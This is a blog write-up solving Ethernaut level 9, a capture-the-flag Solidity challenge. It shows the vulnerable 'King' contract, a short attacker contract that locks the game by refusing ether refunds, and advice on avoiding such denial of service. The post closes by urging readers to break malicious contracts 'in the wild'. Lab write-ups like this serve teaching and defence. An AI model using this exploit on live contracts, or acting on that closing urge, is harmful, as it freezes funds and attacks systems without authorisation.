DEV Community

Cover image for Ethernaut - Lvl 9: King
pacelliv
pacelliv

Posted on

Ethernaut - Lvl 9: King

Requirements: basic knowledged of smart contracts, Remix IDE.

The challenge ๐Ÿ“„

Prevent the owner of the contract from claiming kinship.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}
Enter fullscreen mode Exit fullscreen mode

Studying King.sol ๐Ÿ‘ฉโ€๐Ÿซ๐Ÿ‘จโ€๐Ÿซ

King is a game that allows players to send ether in order to claim kinship and winning the balance in the contract as a prize, each new player needs to send an amount equal or greater than the previous, so basically this is a ponzi scheme.

The owner doesn't need to match the current prize to re-claim the kinship it only needs to send ether to the contract. Not very fair.

The contract keeps tracks of who is the owner and the current king.

The Hack ๐Ÿ’ฃ๐Ÿ’ฃ

To break this unfair game we need to launch an Denial Of Service on king to prevent the owner from claiming kinship.

Contrary to EOAs, transactions of ether to contracts are verified to check if the recipient can receive ether, if the contract does not have a mechanism to handle the incoming transaction the transaction reverts.

We will write a contract from which we will claim the kinship with no mechanism to receive ether so preventing the owner or any new player from playing this unfair game ever again.

contract Attacker {
    error Attacker__CallFailed();

    function attack(address _kingAddr) external payable {
        (bool success,) = payable(_kingAddr).call{value: msg.value}("");
        if(!success) revert Attacker__CallFailed();
    }
}
Enter fullscreen mode Exit fullscreen mode

attack takes the address of King and with call send the ether to the game to claim the kinship.

Deploy Attacker and call attack with current prize as msg.value.

After the transaction is mined, verify who is the king:

await contract._king() // should return the address of `Attacker`
Enter fullscreen mode Exit fullscreen mode

Submit the instance to complete the level.

Conclusion ๐Ÿ““๐Ÿ“”

This game was easy to break because in a single transaction it performed multiple calls, receiving and pushing ether to the new king. Even though it was nice breaking it, is important to discuss a few safety mechanism to prevent malicious actors from breaking your contract or from poorly design contract that can cause an unintended DoS.

It is recommended to avoid batching calls in a single transaction if possible, and instead making the calls in separate transactions as shown in this withdrawal pattern. Always assume a call could fail and implement contract logic to handle those failed calls.

And if you see a malicious contract in the wild and you can break it, just do it!

Further reading ๐Ÿ”๐Ÿ”Ž

Top comments (0)